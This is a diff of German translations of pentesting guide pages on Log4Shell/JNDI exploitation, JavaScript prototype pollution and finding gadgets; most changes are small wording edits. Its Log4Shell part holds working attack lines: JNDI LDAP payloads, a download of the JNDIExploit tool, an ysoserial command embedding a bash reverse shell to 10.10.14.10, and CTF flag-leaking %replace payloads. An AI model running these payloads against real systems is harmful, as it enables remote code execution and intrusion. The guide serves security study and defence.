Selbst wenn Sie eine **`PROVIDER_URL`** festgelegt haben, können Sie eine andere in einem Lookup angeben, und sie wird abgerufen: `ctx.lookup("<attacker-controlled-url>")`, und das ist es, was ein Angreifer ausnutzen wird, um beliebige Objekte von einem von ihm kontrollierten System zu laden.
|
||||
Selbst wenn Sie eine **`PROVIDER_URL`** festgelegt haben, können Sie in einem Lookup eine andere angeben, und sie wird abgerufen: `ctx.lookup("<attacker-controlled-url>")`, und das ist es, was ein Angreifer ausnutzen wird, um beliebige Objekte aus einem von ihm kontrollierten System zu laden.
|
||||
|
||||
### CORBA Übersicht
|
||||
|
||||
@ -64,7 +64,7 @@ Ein **Lookup** ist für **Namensdienste** gedacht, da wir **alles abrufen möcht
|
||||
Wenn die LDAP-Suche mit **SearchControls.setReturningObjFlag() mit `true` aufgerufen wurde, wird das zurückgegebene Objekt rekonstruiert**.
|
||||
|
||||
Daher gibt es mehrere Möglichkeiten, diese Optionen anzugreifen.\
|
||||
Ein **Angreifer kann LDAP-Datensätze vergiften, indem er Payloads einführt**, die in den Systemen, die sie sammeln, ausgeführt werden (sehr nützlich, um **Dutzende von Maschinen zu kompromittieren**, wenn Sie Zugriff auf den LDAP-Server haben). Eine andere Möglichkeit, dies auszunutzen, wäre, einen **MitM-Angriff in einer LDAP-Suche** durchzuführen.
|
||||
Ein **Angreifer kann LDAP-Datensätze vergiften, indem er Payloads einführt**, die in den Systemen ausgeführt werden, die sie sammeln (sehr nützlich, um **Dutzende von Maschinen zu kompromittieren**, wenn Sie Zugriff auf den LDAP-Server haben). Eine andere Möglichkeit, dies auszunutzen, wäre, einen **MitM-Angriff in einer LDAP-Suche** durchzuführen.
|
||||
|
||||
Falls Sie **eine App dazu bringen können, eine JNDI LDAP-URL aufzulösen**, können Sie den LDAP steuern, der durchsucht wird, und Sie könnten den Exploit zurücksenden (log4shell).
|
||||
|
||||
@ -87,7 +87,7 @@ Die Schwachstelle wird in Log4j eingeführt, da es eine [**besondere Syntax**](h
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) führte eine `jndi` Lookup-Funktion ein. Diese Funktion ermöglicht den Abruf von Variablen über JNDI. Typischerweise wird der Schlüssel automatisch mit `java:comp/env/` vorangestellt. Wenn der Schlüssel selbst jedoch ein **":"** enthält, wird dieses Standardpräfix nicht angewendet.
|
||||
|
||||
Mit einem **: im Schlüssel**, wie in `${jndi:ldap://example.com/a}`, gibt es **kein Präfix**, und der **LDAP-Server wird nach dem Objekt abgefragt**. Und diese Lookups können sowohl in der Konfiguration von Log4j als auch beim Protokollieren von Zeilen verwendet werden.
|
||||
Mit einem **: im Schlüssel**, wie in `${jndi:ldap://example.com/a}`, gibt es **kein Präfix** und der **LDAP-Server wird nach dem Objekt abgefragt**. Und diese Lookups können sowohl in der Konfiguration von Log4j als auch beim Protokollieren von Zeilen verwendet werden.
|
||||
|
||||
Daher ist das einzige, was benötigt wird, um RCE zu erhalten, eine **anfällige Version von Log4j, die Informationen verarbeitet, die vom Benutzer kontrolliert werden**. Und da dies eine Bibliothek ist, die von Java-Anwendungen weit verbreitet verwendet wird, um Informationen zu protokollieren (einschließlich internetfähiger Anwendungen), war es sehr häufig, dass log4j beispielsweise HTTP-Header wie den User-Agent protokollierte. Log4j wird jedoch **nicht nur verwendet, um HTTP-Informationen zu protokollieren, sondern auch alle Eingaben** und Daten, die der Entwickler angegeben hat.
|
||||
|
||||
@ -95,7 +95,7 @@ Daher ist das einzige, was benötigt wird, um RCE zu erhalten, eine **anfällige
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Kritisch]**
|
||||
|
||||
Diese Schwachstelle ist ein kritischer **nicht vertrauenswürdiger Deserialisierungsfehler** im `log4j-core`-Komponenten, der Versionen von 2.0-beta9 bis 2.14.1 betrifft. Sie ermöglicht **remote code execution (RCE)**, wodurch Angreifer Systeme übernehmen können. Das Problem wurde von Chen Zhaojun vom Alibaba Cloud Security Team gemeldet und betrifft verschiedene Apache-Frameworks. Der ursprüngliche Fix in Version 2.15.0 war unvollständig. Sigma-Regeln zur Verteidigung sind verfügbar ([Regel 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Regel 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
|
||||
Diese Schwachstelle ist ein kritischer **nicht vertrauenswürdiger Deserialisierungsfehler** im `log4j-core`-Komponenten, der Versionen von 2.0-beta9 bis 2.14.1 betrifft. Sie ermöglicht **remote code execution (RCE)**, wodurch Angreifer Systeme übernehmen können. Das Problem wurde von Chen Zhaojun vom Alibaba Cloud Security Team gemeldet und betrifft verschiedene Apache-Frameworks. Der erste Fix in Version 2.15.0 war unvollständig. Sigma-Regeln zur Verteidigung sind verfügbar ([Regel 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Regel 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kritisch]**
|
||||
|
||||
@ -207,7 +207,7 @@ Any other env variable name that could store sensitive information
|
||||
> [!NOTE]
|
||||
> Hosts, die auf JDK-Versionen über 6u141, 7u131 oder 8u121 laufen, sind gegen den LDAP-Klassenladeangriffsvektor geschützt. Dies liegt an der standardmäßigen Deaktivierung von `com.sun.jndi.ldap.object.trustURLCodebase`, die verhindert, dass JNDI eine Remote-Codebasis über LDAP lädt. Es ist jedoch wichtig zu beachten, dass diese Versionen **nicht gegen den Deserialisierungsangriffsvektor geschützt sind**.
|
||||
>
|
||||
> Für Angreifer, die darauf abzielen, diese höheren JDK-Versionen auszunutzen, ist es notwendig, ein **vertrauenswürdiges Gadget** innerhalb der Java-Anwendung zu nutzen. Werkzeuge wie ysoserial oder JNDIExploit werden häufig zu diesem Zweck verwendet. Im Gegensatz dazu ist das Ausnutzen niedrigerer JDK-Versionen relativ einfacher, da diese Versionen manipuliert werden können, um beliebige Klassen zu laden und auszuführen.
|
||||
> Für Angreifer, die darauf abzielen, diese höheren JDK-Versionen auszunutzen, ist es notwendig, ein **vertrauenswürdiges Gadget** innerhalb der Java-Anwendung zu nutzen. Werkzeuge wie ysoserial oder JNDIExploit werden häufig zu diesem Zweck verwendet. Im Gegensatz dazu ist es relativ einfacher, niedrigere JDK-Versionen auszunutzen, da diese Versionen manipuliert werden können, um beliebige Klassen zu laden und auszuführen.
|
||||
>
|
||||
> Für **weitere Informationen** (_wie Einschränkungen bei RMI- und CORBA-Vektoren_) **überprüfen Sie den vorherigen Abschnitt zur JNDI-Namensreferenz** oder [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
|
||||
@ -241,14 +241,14 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
> [!HINWEIS]
|
||||
> Beachten Sie, dass der Autor dieses Projekt aus irgendeinem Grund nach der Entdeckung von log4shell von GitHub entfernt hat. Sie können eine zwischengespeicherte Version unter [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) finden, aber wenn Sie die Entscheidung des Autors respektieren möchten, verwenden Sie eine andere Methode, um diese Schwachstelle auszunutzen.
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass der Autor aus irgendeinem Grund dieses Projekt nach der Entdeckung von log4shell von GitHub entfernt hat. Sie können eine zwischengespeicherte Version unter [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) finden, aber wenn Sie die Entscheidung des Autors respektieren möchten, verwenden Sie eine andere Methode, um diese Schwachstelle auszunutzen.
|
||||
>
|
||||
> Darüber hinaus können Sie den Quellcode nicht in der Wayback Machine finden, also analysieren Sie entweder den Quellcode oder führen Sie die Jar-Datei aus, in dem Wissen, dass Sie nicht wissen, was Sie ausführen.
|
||||
> Darüber hinaus können Sie den Quellcode nicht in der Wayback Machine finden, also analysieren Sie entweder den Quellcode oder führen Sie die JAR-Datei aus, in dem Wissen, dass Sie nicht wissen, was Sie ausführen.
|
||||
|
||||
Für dieses Beispiel können Sie einfach diesen **anfälligen Webserver für log4shell** auf Port 8080 ausführen: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_im README finden Sie, wie man ihn ausführt_). Diese anfällige App protokolliert mit einer anfälligen Version von log4shell den Inhalt des HTTP-Anforderungsheaders _X-Api-Version_.
|
||||
|
||||
Dann können Sie die **JNDIExploit** Jar-Datei herunterladen und sie mit folgendem Befehl ausführen:
|
||||
Dann können Sie die **JNDIExploit** JAR-Datei herunterladen und sie mit folgendem Befehl ausführen:
|
||||
```bash
|
||||
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||||
unzip JNDIExploit.v1.2.zip
|
||||
@ -303,13 +303,13 @@ Mit **ysoserial** oder [**ysoserial-modified**](https://github.com/pimps/ysoseri
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
```
|
||||
Verwenden Sie [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit), um **JNDI-Links** zu generieren, bei denen der Exploit auf Verbindungen von den anfälligen Maschinen wartet. Sie können **verschiedene Exploits, die automatisch vom JNDI-Exploit-Kit generiert werden können**, oder sogar Ihre **eigenen Deserialisierungs-Payloads** (von Ihnen oder ysoserial generiert) bereitstellen.
|
||||
Verwenden Sie [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit), um **JNDI-Links** zu generieren, bei denen der Exploit auf Verbindungen von den anfälligen Maschinen wartet. Sie können **verschiedene Exploits, die automatisch generiert werden können**, vom JNDI-Exploit-Kit bereitstellen oder sogar Ihre **eigenen Deserialisierungs-Payloads** (von Ihnen oder ysoserial generiert).
|
||||
```bash
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
.png>)
|
||||
|
||||
Jetzt können Sie einen generierten JNDI-Link einfach verwenden, um die Schwachstelle auszunutzen und eine **Reverse-Shell** zu erhalten, indem Sie an eine verwundbare Version von log4j senden: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
Jetzt können Sie einen generierten JNDI-Link einfach verwenden, um die Schwachstelle auszunutzen und eine **Reverse Shell** zu erhalten, indem Sie an eine verwundbare Version von log4j senden: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
|
||||
### Umgehungen
|
||||
```java
|
||||
@ -347,13 +347,13 @@ In diesem [**CTF-Bericht**](https://intrigus.org/research/2022/07/18/google-ctf-
|
||||
|
||||
Die [**Sicherheitsseite**](https://logging.apache.org/log4j/2.x/security.html) von Log4j enthält einige interessante Sätze:
|
||||
|
||||
> Ab Version 2.16.0 (für Java 8) wurde die **Nachrichtenabfrage-Funktion vollständig entfernt**. **Abfragen in der Konfiguration funktionieren weiterhin**. Darüber hinaus deaktiviert Log4j jetzt standardmäßig den Zugriff auf JNDI. JNDI-Abfragen in der Konfiguration müssen jetzt ausdrücklich aktiviert werden.
|
||||
> Ab Version 2.16.0 (für Java 8) wurde die **Nachrichtenabfrage-Funktion vollständig entfernt**. **Abfragen in der Konfiguration funktionieren weiterhin**. Darüber hinaus deaktiviert Log4j jetzt standardmäßig den Zugriff auf JNDI. JNDI-Abfragen in der Konfiguration müssen jetzt explizit aktiviert werden.
|
||||
|
||||
> Ab Version 2.17.0 (und 2.12.3 und 2.3.1 für Java 7 und Java 6) werden **nur Abfragezeichenfolgen in der Konfiguration rekursiv erweitert**; bei jeder anderen Verwendung wird nur die oberste Abfrage aufgelöst, und alle verschachtelten Abfragen werden nicht aufgelöst.
|
||||
|
||||
Das bedeutet, dass Sie standardmäßig **vergessen können, einen `jndi`-Exploit zu verwenden**. Darüber hinaus müssen Sie sie konfigurieren, um **rekursive Abfragen** durchzuführen.
|
||||
|
||||
Zum Beispiel wurde in diesem CTF dies in der Datei log4j2.xml konfiguriert:
|
||||
Zum Beispiel war dies in diesem CTF in der Datei log4j2.xml konfiguriert:
|
||||
```xml
|
||||
<Console name="Console" target="SYSTEM_ERR">
|
||||
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
||||
@ -373,7 +373,7 @@ Im CTF **konnten Sie nicht auf stderr** der Java-Anwendung mit log4J zugreifen,
|
||||
|
||||
### Conversion Patterns Exceptions
|
||||
|
||||
Nur um es zu erwähnen, könnten Sie auch neue [**Conversion Patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) injizieren und Ausnahmen auslösen, die in `stdout` protokolliert werden. Zum Beispiel:
|
||||
Nur um es zu erwähnen, Sie könnten auch neue [**Conversion Patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) injizieren und Ausnahmen auslösen, die in `stdout` protokolliert werden. Zum Beispiel:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -381,12 +381,12 @@ Dies wurde als nicht nützlich erachtet, um Daten innerhalb der Fehlermeldung zu
|
||||
|
||||
### Conversion Patterns Regexes
|
||||
|
||||
Es ist jedoch möglich, einige **Conversion Patterns, die Regexes unterstützen**, zu verwenden, um Informationen aus einer Abfrage zu exfiltrieren, indem man Regexes verwendet und **binäre Suche** oder **zeitbasierte** Verhaltensweisen ausnutzt.
|
||||
Es ist jedoch möglich, einige **Conversion Patterns, die Regexes unterstützen**, zu verwenden, um Informationen aus einer Abfrage durch Verwendung von Regexes und Missbrauch von **binärer Suche** oder **zeitbasierten** Verhaltensweisen zu exfiltrieren.
|
||||
|
||||
- **Binäre Suche über Ausnahme-Nachrichten**
|
||||
|
||||
Das Conversion Pattern **`%replace`** kann verwendet werden, um **Inhalte** aus einem **String** sogar unter Verwendung von **Regexes** zu **ersetzen**. Es funktioniert so: `replace{pattern}{regex}{substitution}`\
|
||||
Durch das Ausnutzen dieses Verhaltens könnten Sie **eine Ausnahme auslösen, wenn das Regex etwas im String übereinstimmte** (und keine Ausnahme, wenn es nicht gefunden wurde) wie folgt:
|
||||
Durch den Missbrauch dieses Verhaltens könnten Sie **eine Ausnahme auslösen, wenn das Regex etwas im String übereinstimmte** (und keine Ausnahme, wenn es nicht gefunden wurde) wie folgt:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
@ -397,7 +397,7 @@ Durch das Ausnutzen dieses Verhaltens könnten Sie **eine Ausnahme auslösen, we
|
||||
Wie im vorherigen Abschnitt erwähnt, unterstützt **`%replace`** **regexes**. Es ist also möglich, Payloads von der [**ReDoS-Seite**](../regular-expression-denial-of-service-redos.md) zu verwenden, um einen **Timeout** auszulösen, falls das Flag gefunden wird.\
|
||||
Ein Beispiel für eine Payload wie `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` würde einen **Timeout** in diesem CTF auslösen.
|
||||
|
||||
In diesem [**Writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) wurde anstelle eines ReDoS-Angriffs ein **Amplifikationsangriff** verwendet, um einen Zeitunterschied in der Antwort zu verursachen:
|
||||
In diesem [**Writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) wurde anstelle eines ReDoS-Angriffs ein **Amplification-Angriff** verwendet, um einen Zeitunterschied in der Antwort zu verursachen:
|
||||
|
||||
> ```
|
||||
> /%replace{
|
||||
@ -414,7 +414,6 @@ In diesem [**Writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022
|
||||
> }{#}{######################################################}
|
||||
> }{#}{######################################################}
|
||||
> }{#}{######################################################}
|
||||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> Wenn das Flag mit `flagGuess` beginnt, wird das gesamte Flag durch 29 `#`-Zeichen ersetzt (ich habe dieses Zeichen verwendet, da es wahrscheinlich nicht Teil des Flags ist). **Jedes der resultierenden 29 `#`-Zeichen wird dann durch 54 `#`-Zeichen ersetzt**. Dieser Prozess wird **6 Mal** wiederholt, was zu insgesamt ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-Zeichen führt!**
|
||||
|
||||
@ -41,7 +41,7 @@ Funktionen wie `toString` und `valueOf` können verändert werden, um ihr Verhal
|
||||
|
||||
In der prototypbasierten Programmierung werden Eigenschaften/Methoden von Objekten von Klassen geerbt. Diese Klassen werden erstellt, indem Eigenschaften/Methoden entweder zu einer Instanz einer anderen Klasse oder zu einem leeren Objekt hinzugefügt werden.
|
||||
|
||||
Es sollte beachtet werden, dass, wenn eine Eigenschaft zu einem Objekt hinzugefügt wird, das als Prototyp für andere Objekte dient (wie `myPersonObj`), die erbberechtigten Objekte Zugriff auf diese neue Eigenschaft erhalten. Diese Eigenschaft wird jedoch nicht automatisch angezeigt, es sei denn, sie wird ausdrücklich aufgerufen.
|
||||
Es sollte beachtet werden, dass, wenn eine Eigenschaft zu einem Objekt hinzugefügt wird, das als Prototyp für andere Objekte dient (wie `myPersonObj`), die erbenenden Objekte Zugriff auf diese neue Eigenschaft erhalten. Diese Eigenschaft wird jedoch nicht automatisch angezeigt, es sei denn, sie wird ausdrücklich aufgerufen.
|
||||
|
||||
## \_\_proto\_\_ Verschmutzung <a href="#id-0d0a" id="id-0d0a"></a>
|
||||
|
||||
@ -56,7 +56,7 @@ this.model = model
|
||||
}
|
||||
var car1 = new Vehicle("Tesla Model S")
|
||||
```
|
||||
Der Zugriff auf das Objektprototyp ist möglich über:
|
||||
Der Zugriff auf das Objekt-Prototyp ist möglich über:
|
||||
```javascript
|
||||
car1.__proto__.__proto__
|
||||
Vehicle.__proto__.__proto__
|
||||
@ -76,7 +76,7 @@ car1.announce() // Outputs "Beep beep!"
|
||||
car1.__proto__.__proto__.isVehicle = true
|
||||
console.log(car1.isVehicle) // Outputs true
|
||||
```
|
||||
## prototype pollution
|
||||
## Prototype-Verschmutzung
|
||||
|
||||
Für ein Szenario, in dem die Verwendung von `__proto__` eingeschränkt ist, ist die Modifizierung des Prototyps einer Funktion eine Alternative:
|
||||
```javascript
|
||||
@ -177,7 +177,7 @@ Das einfachste Beispiel besteht darin, einen Wert zu einem **undefinierten Attri
|
||||
```javascript
|
||||
if (user.admin) {
|
||||
```
|
||||
Wenn das Attribut **`admin` undefiniert** ist, ist es möglich, eine PP auszunutzen und es mit etwas wie auf True zu setzen:
|
||||
Wenn das Attribut **`admin` undefiniert ist**, ist es möglich, eine PP auszunutzen und es mit etwas wie Folgendem auf True zu setzen:
|
||||
```javascript
|
||||
Object.prototype.isAdmin = true
|
||||
let user = {}
|
||||
@ -188,7 +188,7 @@ Der Mechanismus dahinter besteht darin, Eigenschaften so zu manipulieren, dass e
|
||||
Die Bedingungen, unter denen dieser Angriff erfolgreich ausgeführt werden kann, wie in einer bestimmten [Studie](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) dargelegt, umfassen:
|
||||
|
||||
- Durchführung eines rekursiven Mergings.
|
||||
- Definition von Eigenschaften basierend auf einem Pfad.
|
||||
- Definieren von Eigenschaften basierend auf einem Pfad.
|
||||
- Klonen von Objekten.
|
||||
|
||||
### Override-Funktion
|
||||
@ -313,9 +313,9 @@ requests.get(TARGET_URL)
|
||||
```
|
||||
#### Pug-Sicherheitsanfälligkeit
|
||||
|
||||
Pug, ein weiterer Template-Engine, ist einem ähnlichen Risiko der Prototype Pollution ausgesetzt. Detaillierte Informationen sind in der Diskussion über [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug) verfügbar.
|
||||
Pug, eine weitere Template-Engine, ist einem ähnlichen Risiko der Prototypenverschmutzung ausgesetzt. Detaillierte Informationen sind in der Diskussion über [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug) verfügbar.
|
||||
|
||||
Beispiel für Prototype Pollution in Pug:
|
||||
Beispiel für Prototypenverschmutzung in Pug:
|
||||
```python
|
||||
import requests
|
||||
|
||||
@ -334,19 +334,19 @@ requests.get(TARGET_URL)
|
||||
```
|
||||
### Präventive Maßnahmen
|
||||
|
||||
Um das Risiko der Prototyp-Verschmutzung zu verringern, können die folgenden Strategien angewendet werden:
|
||||
Um das Risiko von Prototype Pollution zu verringern, können die folgenden Strategien angewendet werden:
|
||||
|
||||
1. **Objekt-Unveränderlichkeit**: Das `Object.prototype` kann durch Anwendung von `Object.freeze` unveränderlich gemacht werden.
|
||||
1. **Objektunveränderlichkeit**: Das `Object.prototype` kann durch Anwendung von `Object.freeze` unveränderlich gemacht werden.
|
||||
2. **Eingangsvalidierung**: JSON-Eingaben sollten rigoros gegen das Schema der Anwendung validiert werden.
|
||||
3. **Sichere Merge-Funktionen**: Die unsichere Verwendung von rekursiven Merge-Funktionen sollte vermieden werden.
|
||||
4. **Prototyplose Objekte**: Objekte ohne Prototyp-Eigenschaften können mit `Object.create(null)` erstellt werden.
|
||||
5. **Verwendung von Map**: Anstelle von `Object` sollte `Map` zur Speicherung von Schlüssel-Wert-Paaren verwendet werden.
|
||||
6. **Bibliotheksaktualisierungen**: Sicherheitsupdates können durch regelmäßige Aktualisierungen von Bibliotheken integriert werden.
|
||||
7. **Linter und statische Analysetools**: Verwenden Sie Tools wie ESLint mit geeigneten Plugins, um Prototyp-Verschmutzungsanfälligkeiten zu erkennen und zu verhindern.
|
||||
8. **Code-Überprüfungen**: Führen Sie gründliche Code-Überprüfungen durch, um potenzielle Risiken im Zusammenhang mit Prototyp-Verschmutzung zu identifizieren und zu beheben.
|
||||
9. **Sicherheitsschulung**: Schulen Sie Entwickler über die Risiken der Prototyp-Verschmutzung und bewährte Praktiken für das Schreiben sicherer Codes.
|
||||
6. **Bibliotheksupdates**: Sicherheitsupdates können durch regelmäßige Aktualisierung von Bibliotheken integriert werden.
|
||||
7. **Linter und statische Analysetools**: Verwenden Sie Tools wie ESLint mit geeigneten Plugins, um Prototype Pollution-Schwachstellen zu erkennen und zu verhindern.
|
||||
8. **Code-Reviews**: Führen Sie gründliche Code-Reviews durch, um potenzielle Risiken im Zusammenhang mit Prototype Pollution zu identifizieren und zu beheben.
|
||||
9. **Sicherheitsschulung**: Schulen Sie Entwickler über die Risiken von Prototype Pollution und bewährte Praktiken zum Schreiben sicherer Codes.
|
||||
10. **Vorsicht bei der Verwendung von Bibliotheken**: Seien Sie vorsichtig bei der Verwendung von Drittanbieterbibliotheken. Bewerten Sie deren Sicherheitslage und überprüfen Sie deren Code, insbesondere bei denen, die Objekte manipulieren.
|
||||
11. **Laufzeitschutz**: Setzen Sie Laufzeitschutzmechanismen ein, wie die Verwendung von sicherheitsfokussierten npm-Paketen, die Prototyp-Verschmutzungsangriffe erkennen und verhindern können.
|
||||
11. **Laufzeitschutz**: Setzen Sie Laufzeitschutzmechanismen ein, wie die Verwendung von sicherheitsfokussierten npm-Paketen, die Prototype Pollution-Angriffe erkennen und verhindern können.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Die Werkzeuge [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **und** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) können verwendet werden, um **Prototype Pollution-Schwachstellen** zu **finden**.
|
||||
|
||||
Darüber hinaus können Sie auch die **Browsererweiterung** [**PPScan**](https://github.com/msrkp/PPScan) verwenden, um die **Seiten**, die Sie **aufrufen**, automatisch auf Prototype Pollution-Schwachstellen zu **scannen**.
|
||||
Darüber hinaus können Sie auch die **Browsererweiterung** [**PPScan**](https://github.com/msrkp/PPScan) verwenden, um **automatisch** die **Seiten**, die Sie **aufrufen**, auf Prototype Pollution-Schwachstellen zu **scannen**.
|
||||
|
||||
### Debugging, wo eine Eigenschaft verwendet wird <a href="#id-5530" id="id-5530"></a>
|
||||
```javascript
|
||||
@ -27,7 +27,7 @@ Für größere und komplexere Codebasen besteht eine einfache Methode zur Entdec
|
||||
|
||||
1. Verwenden Sie ein Tool, um eine Sicherheitsanfälligkeit zu identifizieren und einen Payload zu erhalten, der darauf ausgelegt ist, eine Eigenschaft im Konstruktor festzulegen. Ein Beispiel, das von ppmap bereitgestellt wird, könnte so aussehen: `constructor[prototype][ppmap]=reserved`.
|
||||
2. Setzen Sie einen Haltepunkt in der ersten Zeile des JavaScript-Codes, die auf der Seite ausgeführt wird. Aktualisieren Sie die Seite mit dem Payload und pausieren Sie die Ausführung an diesem Haltepunkt.
|
||||
3. Während die JavaScript-Ausführung pausiert ist, führen Sie das folgende Skript in der JS-Konsole aus. Dieses Skript signalisiert, wann die 'ppmap'-Eigenschaft erstellt wird, was bei der Lokalisierung ihres Ursprungs hilft:
|
||||
3. Während die JavaScript-Ausführung pausiert ist, führen Sie das folgende Skript in der JS-Konsole aus. Dieses Skript signalisiert, wann die 'ppmap'-Eigenschaft erstellt wird, und hilft dabei, ihren Ursprung zu lokalisieren:
|
||||
```javascript
|
||||
function debugAccess(obj, prop, debugGet = true) {
|
||||
var origValue = obj[prop]
|
||||
@ -46,9 +46,9 @@ origValue = val
|
||||
|
||||
debugAccess(Object.prototype, "ppmap")
|
||||
```
|
||||
4. Navigiere zurück zum **Sources**-Tab und wähle „Script-Ausführung fortsetzen“. Das JavaScript wird wie erwartet weiter ausgeführt, und die 'ppmap'-Eigenschaft wird verschmutzt. Die bereitgestellte Snippet erleichtert die Identifizierung des genauen Standorts, an dem die 'ppmap'-Eigenschaft verschmutzt wird. Durch die Untersuchung des **Call Stack** können verschiedene Stacks beobachtet werden, in denen die Verschmutzung aufgetreten ist.
|
||||
4. Navigiere zurück zum **Sources**-Tab und wähle „Script-Ausführung fortsetzen“. Das JavaScript wird weiterhin ausgeführt, und die 'ppmap'-Eigenschaft wird wie erwartet verschmutzt. Die bereitgestellte Snippet erleichtert die Identifizierung des genauen Standorts, an dem die 'ppmap'-Eigenschaft verschmutzt wird. Durch die Untersuchung des **Call Stack** können verschiedene Stacks beobachtet werden, in denen die Verschmutzung aufgetreten ist.
|
||||
|
||||
Bei der Entscheidung, welchen Stack man untersuchen soll, ist es oft nützlich, Stacks zu zielen, die mit JavaScript-Bibliotheksdateien verbunden sind, da die Prototypverschmutzung häufig innerhalb dieser Bibliotheken auftritt. Identifiziere den relevanten Stack, indem du seine Verbindung zu Bibliotheksdateien überprüfst (sichtbar auf der rechten Seite, ähnlich wie ein bereitgestelltes Bild zur Anleitung). In Szenarien mit mehreren Stacks, wie denen in den Zeilen 4 und 6, ist die logische Wahl der Stack in Zeile 4, da er das erste Auftreten der Verschmutzung darstellt und somit die Grundursache der Schwachstelle ist. Ein Klick auf den Stack führt dich zum verwundbaren Code.
|
||||
Bei der Entscheidung, welchen Stack man untersuchen soll, ist es oft nützlich, Stacks zu zielen, die mit JavaScript-Bibliotheksdateien verbunden sind, da die Prototypverschmutzung häufig innerhalb dieser Bibliotheken auftritt. Identifiziere den relevanten Stack, indem du seine Verbindung zu Bibliotheksdateien untersuchst (sichtbar auf der rechten Seite, ähnlich wie ein bereitgestelltes Bild zur Anleitung). In Szenarien mit mehreren Stacks, wie auf den Zeilen 4 und 6, ist die logische Wahl der Stack auf Zeile 4, da er das erste Auftreten der Verschmutzung darstellt und somit die Wurzelursache der Schwachstelle ist. Ein Klick auf den Stack führt dich zum verwundbaren Code.
|
||||
|
||||
|
||||
|
||||
@ -56,7 +56,7 @@ Bei der Entscheidung, welchen Stack man untersuchen soll, ist es oft nützlich,
|
||||
|
||||
Das Gadget ist der **Code, der missbraucht wird, sobald eine PP-Schwachstelle entdeckt wird**.
|
||||
|
||||
Wenn die Anwendung einfach ist, können wir **nach** **Schlüsselwörtern** wie **`srcdoc/innerHTML/iframe/createElement`** suchen und den Quellcode überprüfen, um festzustellen, ob er zu einer **JavaScript-Ausführung führt**. Manchmal finden die erwähnten Techniken überhaupt keine Gadgets. In diesem Fall zeigt eine reine Quellcodeüberprüfung einige schöne Gadgets wie das folgende Beispiel.
|
||||
Wenn die Anwendung einfach ist, können wir **nach** **Schlüsselwörtern** wie **`srcdoc/innerHTML/iframe/createElement`** suchen und den Quellcode überprüfen, um zu sehen, ob er zu einer **JavaScript-Ausführung führt**. Manchmal finden die erwähnten Techniken möglicherweise überhaupt keine Gadgets. In diesem Fall zeigt eine reine Quellcodeüberprüfung einige schöne Gadgets wie das folgende Beispiel.
|
||||
|
||||
### Beispiel für das Finden eines PP-Gadgets im Mithil-Bibliothekscode
|
||||
|
||||
@ -69,7 +69,7 @@ Wenn die Anwendung einfach ist, können wir **nach** **Schlüsselwörtern** wie
|
||||
|
||||
## HTML-Sanitizer-Umgehung über PP
|
||||
|
||||
